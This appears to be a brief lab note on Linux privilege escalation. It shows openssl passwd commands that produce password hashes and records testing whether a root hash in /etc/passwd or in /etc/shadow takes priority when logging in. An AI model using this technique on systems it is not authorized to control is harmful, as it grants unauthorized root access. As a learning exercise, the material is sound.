Privilege Escalation: priority of /etc/shadow and /etc/passwd
/#making a password
openssl passwd password (1oCs2Y6GOzDm2)2020/04/28/203446
openssl passwd pass (mV.TZP57qoG6s)
source: Editing /etc/passwd File for Privilege Escalation
---------------------------------------------------------------------------------------
#changing /etc/passwd root:password
---------------------------------------------------------------------------------------
#/etc/shadow root with no login (default)
#trying to log in to root with password: success
---------------------------------------------------------------------------------------
#changing /etc/shadow root:pass
Conclusion: /etc/passwd > /etc/shadow